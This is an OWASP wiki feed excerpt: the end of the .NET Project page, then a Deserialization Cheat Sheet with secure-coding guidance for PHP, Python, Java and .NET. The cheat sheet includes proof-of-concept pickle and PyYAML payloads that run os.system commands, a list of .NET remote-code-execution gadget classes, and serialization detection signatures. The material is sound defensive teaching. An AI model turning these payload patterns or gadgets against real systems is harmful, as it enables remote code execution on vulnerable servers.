* [[OWASP_Project|OWASP Project Repository]]&lt;br /&gt;
* [[Language|Languages Repository]]&lt;br /&gt;
* [[Java|Java and JVM]]&lt;br /&gt;
* [[Python|Python]]&lt;br /&gt;
* [[OWASP_Internet_of_Things_Project|OWASP IoT Security]]&lt;br /&gt;
* [[OWASP_Mobile_Security_Project|OWASP Mobile Security]]&lt;br /&gt;
* [[OWASP_Top_Ten_Project|OWASP Web Top 10]]&lt;br /&gt;
&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;padding-left:25px;width:200px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [Mar 2017] Updated the .NET Security Cheat Sheet for .NET Core&lt;br /&gt;
* [Jan 2016] Added the Two Factor Authentication component&lt;br /&gt;
* [Feb 2015] Two more articles promoted. Want to build one? See the Roadmap!&lt;br /&gt;
* [Jan 2015] Three completed articles, and four in progress&lt;br /&gt;
* [Oct 2014] Promoted our first guidance article from Draft&lt;br /&gt;
* [Sep 2014] AppSec USA .NET Project Summit&lt;br /&gt;
* [Mar 2014] Project roadmap&lt;br /&gt;
* [Feb 2014] Project reboot&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;200&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot; rowspan=&amp;quot;2&amp;quot;| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-builders-small.png|link=]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; width=&amp;quot;50%&amp;quot;| [[File:Owasp-defenders-small.png|link=]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]]&lt;br /&gt;
   |-&lt;br /&gt;
   | colspan=&amp;quot;2&amp;quot; align=&amp;quot;center&amp;quot;  | [[File:Project_Type_Files_DOC.jpg|link=]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=Resources=&lt;br /&gt;
&lt;br /&gt;
The .NET Project is principally about creating deep, rich guidance for NET developers using the Microsoft .NET Framework's security resources.&lt;br /&gt;
&lt;br /&gt;
== Detailed Guidance ==&lt;br /&gt;
The following articles describe specific guidance for working with the .NET Framework.&lt;br /&gt;
&lt;br /&gt;
* The [[.NET Security Cheat Sheet]]&lt;br /&gt;
* [[.NET Penetration Testing]]&lt;br /&gt;
* [[Exception Handling]]&lt;br /&gt;
* [[ASP.NET Request Validation]]&lt;br /&gt;
* [[ASP.NET Output Encoding]]&lt;br /&gt;
* [[Using Rfc2898DeriveBytes for PBKDF2]]&lt;br /&gt;
* [[Anti CSRF Tokens ASP.NET]]&lt;br /&gt;
* [[Adding two-factor authentication to ASP.NET]]&lt;br /&gt;
&lt;br /&gt;
== Security Guidance ==&lt;br /&gt;
The following sections include general content that can be useful for a specific role in securing .NET web applications and services:&lt;br /&gt;
&lt;br /&gt;
* [[.NET Security Cheat Sheet| .NET Security Cheat Sheet]]&lt;br /&gt;
* [[.NET Penetration Testing| .NET Penetration Testing]]&lt;br /&gt;
* [[Deserialization_Cheat_Sheet| Deserialization Cheat Sheet]]&lt;br /&gt;
&lt;br /&gt;
The following sections include specific guidance for particular technological problems related to .NET web applications and services:&lt;br /&gt;
&lt;br /&gt;
* [[Exception Handling]]&lt;br /&gt;
* [[ASP.NET Request Validation]]&lt;br /&gt;
* [[ASP.NET Output Encoding]]&lt;br /&gt;
&lt;br /&gt;
== Components ==&lt;br /&gt;
&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API#tab=Dot_NET ESAPI.NET]&lt;br /&gt;
* [[.Net CSRF Guard]]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_AntiSamy_Project_.NET AntiSamy .NET]&lt;br /&gt;
* [[.NET AntiXSS Library]]&lt;br /&gt;
* [https://www.nuget.org/packages/AddTwoFactorToMvc Add Two-Factor to MVC]&lt;br /&gt;
&lt;br /&gt;
== Recommended Resources ==&lt;br /&gt;
Check out the OWASP .NET Recommended Resources wiki page for a quick list of resources available now for secure .NET development:&lt;br /&gt;
&lt;br /&gt;
; [[OWASP .NET Recommended Resources| OWASP .NET Recommended Resources]]&lt;br /&gt;
&lt;br /&gt;
== Active Projects ==&lt;br /&gt;
; [[OWASP .NET Active Projects]]&lt;br /&gt;
&lt;br /&gt;
== Research Projects ==&lt;br /&gt;
; [[OWASP .NET Research]]&lt;br /&gt;
&lt;br /&gt;
= Road Map and Getting Involved =&lt;br /&gt;
&lt;br /&gt;
== Overview ==&lt;br /&gt;
&lt;br /&gt;
The .NET Framework has seen significant security improvement over the last ten years of development. With proper use the core security problems that are seen in web applications, or even Windows executibles, are difficult to  exploit. &lt;br /&gt;
&lt;br /&gt;
The key is 'proper use' and that is the goal of the .NET Project - assist with proper use. Education, components and tools that are appropriate for the latest .NET versions should be the focus for output of this project. As tools and information become out of date, they will be moved to a sunset mode, still available to those using older versions of the framework.&lt;br /&gt;
&lt;br /&gt;
== Themes ==&lt;br /&gt;
The themes of the .NET Project include:&lt;br /&gt;
* Deep, rich guidance for .NET developers using the security features of .NET&lt;br /&gt;
* Access to use of OWASP components that are designed for use with .NET&lt;br /&gt;
* Information about working with and on OWASP tools built using .NET&lt;br /&gt;
&lt;br /&gt;
== Features ==&lt;br /&gt;
&lt;br /&gt;
Features are parts of the project at a very high level. There are three themes, and they include guidance for developers, components that help to write more secure .NET projects, and tools for general security and testing written in .NET.&lt;br /&gt;
&lt;br /&gt;
=== Guidance ===&lt;br /&gt;
&lt;br /&gt;
Guidance is documentation that assists .NET developers implementing the security features of the framework.&lt;br /&gt;
&lt;br /&gt;
==== In-process guidance ====&lt;br /&gt;
&lt;br /&gt;
* [[Windows Identity Foundation]]&lt;br /&gt;
* [[.NET Memory Management]]&lt;br /&gt;
* [[Adding two-factor authentication to ASP.NET]]&lt;br /&gt;
&lt;br /&gt;
==== Needed guidance ====&lt;br /&gt;
&lt;br /&gt;
* [[ASP.NET Identity]]&lt;br /&gt;
* [[DPAPI]]&lt;br /&gt;
* [[ClickOnce Deployment]]&lt;br /&gt;
* [[.NET Callbacks - Vulnerabilities and Remediation]]&lt;br /&gt;
* [[Dependency Injection]]&lt;br /&gt;
* [[IoC containers]]&lt;br /&gt;
* [[Preventing SQL Injection in ADO.NET]]&lt;br /&gt;
* [[Authenticated Symmetric Encryption in .NET]]&lt;br /&gt;
&lt;br /&gt;
=== Components === &lt;br /&gt;
&lt;br /&gt;
Components are pieces of software that assist .NET developers in building more secure code. A number of projects exist that are for older versions of .NET. While they are no longer valid for later versions, they are still acceptable for use. Many updates are needed to a number of other projects.&lt;br /&gt;
&lt;br /&gt;
==== Needed Components ====&lt;br /&gt;
&lt;br /&gt;
Please suggest needed components.&lt;br /&gt;
&lt;br /&gt;
=== Projects that use .NET ===&lt;br /&gt;
&lt;br /&gt;
These are projects that happen to be built in .NET. Many of them could use .NET development assistance:&lt;br /&gt;
&lt;br /&gt;
* [[OWASP O2 Platform]]&lt;br /&gt;
* [https://www.owasp.org/index.php/Category:OWASP_WebGoat.NET WebGOAT.NET]&lt;br /&gt;
&lt;br /&gt;
== Ideas ==&lt;br /&gt;
Please send your ideas to the OWASP.Net mailing list (owasp-dotnet@lists.owasp.org)&lt;br /&gt;
&lt;br /&gt;
=Project Tracker=&lt;br /&gt;
==Timeline==&lt;br /&gt;
* January 2016 - Added the Two Factor Authentication component&lt;br /&gt;
* January 2015 - Three more completed articles, and four in progress&lt;br /&gt;
* November 2014 - Four completed articles, six in process.&lt;br /&gt;
* September 2014 - AppSec USA &lt;br /&gt;
* March 2014 - Project Roadmap&lt;br /&gt;
* February - 2014 Project Reboot&lt;br /&gt;
* May 2009 - Updated tabs, added content recommended by Andre Gironda&lt;br /&gt;
* March 2009 - Converted to new tab format, added Project Tracker tab&lt;br /&gt;
* February 2009 Added [[OWASP .NET Research]] and removed [[OWASP .NET Vulnerability Research]] from project page.&lt;br /&gt;
&lt;br /&gt;
==Roadmap==&lt;br /&gt;
You can find the project roadmap here: [[OWASP .Net Project Roadmap]]&lt;br /&gt;
&lt;br /&gt;
=FAQs=&lt;br /&gt;
==Questions and answers==&lt;br /&gt;
; Q1: Why are there so many empty projects?&lt;br /&gt;
; A1: Because YOU haven't worked on them! We need your help!&lt;br /&gt;
&lt;br /&gt;
; Q2: Why the focus on specific implementation, rather than on general security? I just need general guidance!&lt;br /&gt;
; A2: General guidance is platform independent. You should start with the awesome Cheat Sheets for general information. We are focused on specific implementation because these are the tough, unanswered questions that lead to the high risk vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
; Q3: Where are the .NET specific security tools.&lt;br /&gt;
; A3: Nearly everything you need is already in the .NET Framework. It's just a matter of learning where it is and how to use it. That's where the .NET project comes in.&lt;br /&gt;
&lt;br /&gt;
=Volunteers=&lt;br /&gt;
&lt;br /&gt;
==Get involved==&lt;br /&gt;
To get involved join the mailing list (see [[How to join Owasp.Net Mailing List]])&lt;br /&gt;
&lt;br /&gt;
==Already involved==&lt;br /&gt;
The OWASP .NET project is developed by a worldwide team of volunteers. The original primary contributor is Daniel Brzozowski. Currently the team of advisers and authoors includes:&lt;br /&gt;
&lt;br /&gt;
* Kevin Basista&lt;br /&gt;
* Brice Williams&lt;br /&gt;
* Marion Nepomuceno&lt;br /&gt;
* Dan Wilson&lt;br /&gt;
* Jess Vermont&lt;br /&gt;
* Jeff Knutson&lt;br /&gt;
* Robert Ginsburg&lt;br /&gt;
* Kyle Johnson&lt;br /&gt;
* Troy Hunt &lt;br /&gt;
* Dinis Cruz&lt;br /&gt;
* Shamir Charania&lt;br /&gt;
* Mohammed Al-Taweel&lt;br /&gt;
* Daniel Brzozowski&lt;br /&gt;
* Lachlan Barclay&lt;br /&gt;
* Bill Sempf&lt;br /&gt;
* Barry Dorrans (Microsoft)&lt;br /&gt;
* Reid Borsuk (Microsoft)&lt;br /&gt;
&lt;br /&gt;
We need more help. Please join the low volume mailing list at [https://lists.owasp.org/mailman/listinfo/owasp-dotnet this address] to get project announcements.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Project About=&lt;br /&gt;
&lt;br /&gt;
{{Template:Project About&lt;br /&gt;
| project_name =OWASP .NET Project&lt;br /&gt;
| project_description = The .NET Project is principally about creating deep, rich guidance for NET developers using the Microsoft .NET Framework's security resources.of language specific pages, projects and documents.&lt;br /&gt;
| project_license =CC-BY 3.0 for documentation and GPLv3 for code. &lt;br /&gt;
| project_home_page = &lt;br /&gt;
| leader_name1 = Bill Sempf&lt;br /&gt;
| leader_email1 =&lt;br /&gt;
| leader_username1 = Bill_Sempf&lt;br /&gt;
| contributor_name1 = &lt;br /&gt;
| contributor_email1 = &lt;br /&gt;
| contributor_username1 = &lt;br /&gt;
| mailing_list_name = owasp-dotnet&lt;br /&gt;
}}  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Project]]  [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]]  [[Category:OWASP_Document]] [[Category:Technology]] [[Category:Language]]&lt;/div&gt;</summary>
		<author><name>Bill Sempf</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Deserialization_Cheat_Sheet&amp;diff=243033</id>
		<title>Deserialization Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Deserialization_Cheat_Sheet&amp;diff=243033"/>
				<updated>2018-08-30T20:03:31Z</updated>
		
		<summary type="html">&lt;p&gt;Bill Sempf: Added .NET project tag&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
= Introduction  = &lt;br /&gt;
&lt;br /&gt;
This article is focused on providing clear, actionable guidance for safely deserializing untrusted data in your applications.&lt;br /&gt;
&lt;br /&gt;
=What is Deserialization?=&lt;br /&gt;
&lt;br /&gt;
Serialization is the process of turning some object into a data format that can be restored later. People often serialize objects in order to save them to storage, or to send as part of communications. Deserialization is the reverse of that process -- taking data structured from some format, and rebuilding it into an object. Today, the most popular data format for serializing data is JSON. Before that, it was XML.&lt;br /&gt;
&lt;br /&gt;
However, many programming languages offer a native capability for serializing objects. These native formats usually offer more features than JSON or XML, including customizability of the serialization process. Unfortunately, the features of these native deserialization mechanisms can be repurposed for malicious effect when operating on untrusted data. Attacks against deserializers have been found to allow denial-of-service, access control, and remote code execution attacks.&lt;br /&gt;
&lt;br /&gt;
=Guidance on Deserializing Objects Safely=&lt;br /&gt;
The following language-specific guidance attempts to enumerate safe methodologies for deserializing data that can't be trusted. &lt;br /&gt;
&lt;br /&gt;
==PHP==&lt;br /&gt;
===WhiteBox Review===&lt;br /&gt;
Check the use of 'unserialize()' and review how the external parameters are accepted.&lt;br /&gt;
Use a safe, standard data interchange format such as JSON (via json_decode() and json_encode()) if you need to pass serialized data to the user.&lt;br /&gt;
Please also refer to to http://php.net/manual/en/function.unserialize.php&lt;br /&gt;
&lt;br /&gt;
==Python==&lt;br /&gt;
===BlackBox Review===&lt;br /&gt;
If the traffic data contains the symbol dot  .  at the end, it's very likely that the data was sent in serialization.&lt;br /&gt;
&lt;br /&gt;
===WhiteBox Review===&lt;br /&gt;
The following API in Python will be vulnerable to serialization attack. Search code for the pattern below.&lt;br /&gt;
&lt;br /&gt;
1. The uses of pickle/c_pickle/_pickle with load/loads&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
  import pickle&lt;br /&gt;
  data = &amp;quot;&amp;quot;&amp;quot; cos.system(S'dir')tR. &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
  pickle.loads(data) &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. Uses of PyYAML with load&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
   import yaml&lt;br /&gt;
   document = &amp;quot;!!python/object/apply:os.system ['ipconfig']&amp;quot;&lt;br /&gt;
   print(yaml.load(document))&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. Uses of jsonpickle with encode or store methods&lt;br /&gt;
&lt;br /&gt;
==Java==&lt;br /&gt;
The following techniques are all good for preventing attacks against deserialization against [http://docs.oracle.com/javase/7/docs/api/java/io/Serializable.html Java's Serializable format].&lt;br /&gt;
&lt;br /&gt;
Implementation: In your code, override the ObjectInputStream#resolveClass() method to prevent arbitrary classes from being deserialized. This safe behavior can be wrapped in a library like SerialKiller.&lt;br /&gt;
Implementation: Use a safe replacement for the generic readObject() method as seen here. Note that this addresses &amp;quot;billion laughs&amp;quot; type attacks by checking input length and number of objects deserialized.&lt;br /&gt;
&lt;br /&gt;
===WhiteBox Review ===&lt;br /&gt;
Be aware of the following Java API uses for potential serilization vulnerability.&lt;br /&gt;
  1. 'XMLdecoder' with external user defined parameters&lt;br /&gt;
  2. XStream with fromXML method. (xstream version &amp;lt;= v1.46 is vulnerable to the serialization issue.)&lt;br /&gt;
  3. 'ObjectInputSteam' with 'readObject'&lt;br /&gt;
  4. Uses of 'readObject' 'readObjectNodData' 'readResolve' 'readExternal'&lt;br /&gt;
  5. 'ObjectInputStream.readUnshared'&lt;br /&gt;
  6. 'Serializable'&lt;br /&gt;
&lt;br /&gt;
=== BlackBox Review ===&lt;br /&gt;
If the captured traffic data include the following patterns may suggest that the data was sent in Java serialization streams&lt;br /&gt;
* &amp;quot;AC ED 00 05&amp;quot; in Hex&lt;br /&gt;
* &amp;quot;''rO0&amp;quot;  in Base64''&lt;br /&gt;
* Content-type = '&amp;lt;nowiki/&amp;gt;''application/x-java-serialized-object'''&lt;br /&gt;
&lt;br /&gt;
===Prevent Data Leakage and Trusted Field Clobbering===&lt;br /&gt;
If there are data members of an object that should never be controlled by end users during deserialization or exposed to users during serialization, they should be declared as [https://docs.oracle.com/javase/7/docs/platform/serialization/spec/serial-arch.html#6250 the &amp;lt;code&amp;gt;transient&amp;lt;/code&amp;gt; keyword].&lt;br /&gt;
&lt;br /&gt;
For a class that defined as Serializable, the sensitive information variable should be declared as 'private transient'.&lt;br /&gt;
For example, the class myAccount, the variable 'profile' and 'margin' were declared as transient to avoid to be serialized.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
public class myAccount implements Serializable&lt;br /&gt;
{&lt;br /&gt;
    private transient double profit; // declared transient&lt;br /&gt;
    &lt;br /&gt;
    private transient double margin; // declared transient&lt;br /&gt;
    ....&lt;br /&gt;
    ....&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Prevent Deserialization of Domain Objects===&lt;br /&gt;
Some of your application objects may be forced to implement Serializable due to their hierarchy. To guarantee that your application objects can't be deserialized, a &amp;lt;code&amp;gt;readObject()&amp;lt;/code&amp;gt; should be declared (with a &amp;lt;code&amp;gt;final&amp;lt;/code&amp;gt; modifier) which always throws an exception.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;private final void readObject(ObjectInputStream in) throws java.io.IOException {&lt;br /&gt;
   throw new java.io.IOException(&amp;quot;Cannot be deserialized&amp;quot;);&lt;br /&gt;
}&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Harden Your Own java.io.ObjectInputStream===&lt;br /&gt;
The &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; class is used to deserialize objects. It's possible to harden its behavior by subclassing it. This is the best solution if:&lt;br /&gt;
&lt;br /&gt;
* You can change the code that does the deserialization&lt;br /&gt;
* You know what classes you expect to deserialize&lt;br /&gt;
&lt;br /&gt;
The general idea is to override [http://docs.oracle.com/javase/7/docs/api/java/io/ObjectInputStream.html#resolveClass(java.io.ObjectStreamClass) &amp;lt;code&amp;gt;ObjectInputStream.html#resolveClass()&amp;lt;/code&amp;gt;] in order to restrict which classes are allowed to be deserialized. Because this call happens before a &amp;lt;code&amp;gt;readObject()&amp;lt;/code&amp;gt; is called, you can be sure that no deserialization activity will occur unless the type is one that you wish to allow.  A simple example of this shown here, where the the LookAheadObjectInputStream class is guaranteed not to deserialize any other type besides the Bicycle class:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;public class LookAheadObjectInputStream extends ObjectInputStream {&lt;br /&gt;
&lt;br /&gt;
    public LookAheadObjectInputStream(InputStream inputStream) throws IOException {&lt;br /&gt;
        super(inputStream);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    /**&lt;br /&gt;
     * Only deserialize instances of our expected Bicycle class&lt;br /&gt;
     */&lt;br /&gt;
    @Override&lt;br /&gt;
    protected Class&amp;lt;?&amp;gt; resolveClass(ObjectStreamClass desc) throws IOException,&lt;br /&gt;
            ClassNotFoundException {&lt;br /&gt;
        if (!desc.getName().equals(Bicycle.class.getName())) {&lt;br /&gt;
            throw new InvalidClassException(&lt;br /&gt;
                    &amp;quot;Unauthorized deserialization attempt&amp;quot;,&lt;br /&gt;
                    desc.getName());&lt;br /&gt;
        }&lt;br /&gt;
        return super.resolveClass(desc);&lt;br /&gt;
    }&lt;br /&gt;
}&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
More complete implementations of this approach have been proposed by various community members:&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/ikkisoft/SerialKiller NibbleSec] - a library that allows whitelisting and blacklisting of classes that are allowed to be deserialized&lt;br /&gt;
* [https://www.ibm.com/developerworks/library/se-lookahead/ IBM] - the seminal protection, written years before the most devastating exploitation scenarios were envisioned.&lt;br /&gt;
&lt;br /&gt;
===Harden All java.io.ObjectInputStream Usage with an Agent===&lt;br /&gt;
As mentioned above, the &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; class is used to deserialize objects. It's possible to harden its behavior by subclassing it. However, if you don't own the code or can't wait for a patch, using an agent to weave in hardening to &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; is the best solution.&lt;br /&gt;
&lt;br /&gt;
Globally changing ObjectInputStream is only safe for blacklisting known malicious types, because it's not possible to know for all applications what the expected classes to be deserialized are. Fortunately, there are very few classes needed in the blacklist to be safe from all the known attack vectors, today. It's inevitable that more &amp;quot;gadget&amp;quot; classes will be discovered that can be abused. However, there is an incredible amount of vulnerable software&lt;br /&gt;
exposed today, in need of a fix. In some cases, &amp;quot;fixing&amp;quot; the vulnerability may involve re-architecting messaging systems and breaking backwards compatibility as developers move towards not accepting serialized objects.&lt;br /&gt;
&lt;br /&gt;
To enable these agents, simply add a new JVM parameter:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;-javaagent:name-of-agent.jar&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Agents taking this approach have been released by various community members:&lt;br /&gt;
* [https://github.com/gocd/invoker-defender Invoker Defender by Go-CD]&lt;br /&gt;
* [https://github.com/Contrast-Security-OSS/contrast-rO0 rO0 by Contrast Security]&lt;br /&gt;
&lt;br /&gt;
A similar, but less scalable approach would be to manually patch and bootstrap your JVM's ObjectInputStream. Guidance on this approach is available [https://github.com/wsargent/paranoid-java-serialization here].&lt;br /&gt;
&lt;br /&gt;
==.Net C#==&lt;br /&gt;
&lt;br /&gt;
=== WhiteBox Review ===&lt;br /&gt;
Search the source code for the following terms&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# TypeNameHandling&lt;br /&gt;
# JavaScriptTypeResolver&lt;br /&gt;
&lt;br /&gt;
Look for any serializers where the type is set by a user controlled variable.&lt;br /&gt;
&lt;br /&gt;
=== BlackBox Review ===&lt;br /&gt;
Search for the following base64 encoded content that starts with:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;AAEAAAD/////&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Search for content with the following text:&lt;br /&gt;
# &amp;quot;TypeObject&amp;quot;&lt;br /&gt;
# &amp;quot;$type&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
=== General Precautions ===&lt;br /&gt;
&lt;br /&gt;
Don't allow the datastream to define the type of object that the stream will be deserialized to. You can prevent this by for example using the '''DataContractSerializer''' or '''XmlSerializer''' if at all possible.&lt;br /&gt;
&lt;br /&gt;
Where '''JSON.Net''' is being used make sure the '''TypeNameHandling''' is only set to '''None'''.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;TypeNameHandling = TypeNameHandling.None&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If '''JavaScriptSerializer''' is to be used do not use it with a '''JavaScriptTypeResolver'''	&lt;br /&gt;
&lt;br /&gt;
If you must deserialise data streams that define their own type, then restrict the types that are allowed to be deserialized. One should be aware that this is still risky as many native .Net types potentially dangerous in themselves. e.g.  &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;System.IO.FileInfo&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
FileInfo objects that reference files actually on the server can when deserialized, change the properties of those files e.g. to read-only, creating a potential denial of service attack.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Even if you have limited the types that can be deserialised remember that some types have properties that are risky. '''System.ComponentModel.DataAnnotations.ValidationException''', for example has a property '''Value''' of type '''Object'''. if this type is the type allowed for deserialization then an attacker can set the '''Value''' property to any object type they choose.&lt;br /&gt;
&lt;br /&gt;
Attackers should be prevented from steering the type that will be instantiated. If this is possible then even '''DataContractSerializer''' or '''XmlSerializer''' can be subverted e.g.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
var typename = GetTransactionTypeFromDatabase();  // &amp;lt;-- this is dangerous if the attacker can change the data in the database&lt;br /&gt;
&lt;br /&gt;
var serializer = new DataContractJsonSerializer(Type.GetType(typename)); &lt;br /&gt;
&lt;br /&gt;
var obj = serializer.ReadObject(ms);&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Execution can occur within certain .Net types during deserialization. Creating a control such as the one shown below is ineffective.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
var suspectObject = myBinaryFormatter.Deserialize(untrustedData);&lt;br /&gt;
&lt;br /&gt;
if (suspectObject is SomeDangerousObjectType) //Too late! Execution may have already occurred.&lt;br /&gt;
{&lt;br /&gt;
    //generate warnings and dispose of suspectObject&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
For '''BinaryFormatter''' and '''JSON.Net''' it is possible to create a safer form of white list control useing a custom '''SerializationBinder'''.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Try to keep up-to-date on known .Net insecure deserialization gadgets and pay special attention where such types can be created by your deserialization processes. A deserializer can only only instantiate types that it knows about. Try to keep any code that might create potential gagdets separate from any code that Vas internet connectivity. As an example '''System.Windows.Data.ObjectDataProvider''' used in WPF applications is a known gadget that allows arbitrary method invocation. It would be risky to have this a reference to this assembly in a REST service project that deserializes untrusted data.&lt;br /&gt;
&lt;br /&gt;
=== Known .NET RCE Gadgets ===&lt;br /&gt;
System.Configuration.Install.AssemblyInstaller&lt;br /&gt;
* System.Activities.Presentation.WorkflowDesigner&lt;br /&gt;
* System.Windows.ResourceDictionary&lt;br /&gt;
* System.Windows.Data.ObjectDataProvider&lt;br /&gt;
* System.Windows.Forms.BindingSource&lt;br /&gt;
* Microsoft.Exchange.Management.SystemManager.WinForms.ExchangeSettingsProvider&lt;br /&gt;
* System.Data.DataViewManager, System.Xml.XmlDocument/XmlDataDocument&lt;br /&gt;
* System.Management.Automation.PSObject&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= Language-Agnostic Methods for Deserializing Safely =&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Using Alternative Data Formats==&lt;br /&gt;
A great reduction of risk is achieved by avoiding native (de)serialization formats. By switching to a pure data format like JSON or XML, you lessen the chance of custom deserialization logic being repurposed towards malicious ends.&lt;br /&gt;
&lt;br /&gt;
Many applications rely on a [https://en.wikipedia.org/wiki/Data_transfer_object data-transfer object pattern] that involves creating a separate domain of objects for the explicit purpose data transfer. Of course, it's still possible that the application will make security mistakes after a pure data object is parsed.&lt;br /&gt;
&lt;br /&gt;
==Only Deserialize Signed Data==&lt;br /&gt;
If the application knows before deserialization which messages will need to be processed, they could sign them as part of the serialization process. The application could then to choose not to deserialize any message which didn't have an authenticated signature.&lt;br /&gt;
&lt;br /&gt;
= Mitigation Tools/Libraries =&lt;br /&gt;
* Java secure deserialization library https://github.com/ikkisoft/SerialKiller&lt;br /&gt;
&lt;br /&gt;
* SWAT (Serial Whitelist Application Trainer) https://github.com/cschneider4711/SWAT&lt;br /&gt;
* NotSoSerial https://github.com/kantega/notsoserial&lt;br /&gt;
&lt;br /&gt;
= Detection Tools =&lt;br /&gt;
* [https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet Java deserialization cheat sheet aimed at pen testers]&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/frohoff/ysoserial A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.]&lt;br /&gt;
* Java De-serialization toolkits https://github.com/brianwrf/hackUtils&lt;br /&gt;
* Java de-serialization tool https://github.com/frohoff/ysoserial&lt;br /&gt;
* .Net payload generator https://github.com/pwntester/ysoserial.net&lt;br /&gt;
* Java de-serialization detection by DNS  https://github.com/GoSeecure/break-fast-serial&lt;br /&gt;
* Burp Suite extension https://github.com/federicodotta/Java-Deserialization-Scanner/releases&lt;br /&gt;
* Java secure deserialization library https://github.com/ikkisoft/SerialKiller&lt;br /&gt;
* Serianalyzer is a static bytecode analyzer for deserialization https://github.com/mbechler/serianalyzer&lt;br /&gt;
* Payload generator https://github.com/mbechler/marshalsec&lt;br /&gt;
* Android Java Deserialization Vulnerability Tester https://github.com/modzero/modjoda&lt;br /&gt;
* Burp Suite Extension &lt;br /&gt;
** JavaSerialKiller https://github.com/NetSPI/JavaSerialKiller&lt;br /&gt;
** Java Deserialization Scanner https://github.com/federicodotta/Java-Deserialization-Scanner&lt;br /&gt;
** Burp-ysoserial https://github.com/summitt/burp-ysoserial&lt;br /&gt;
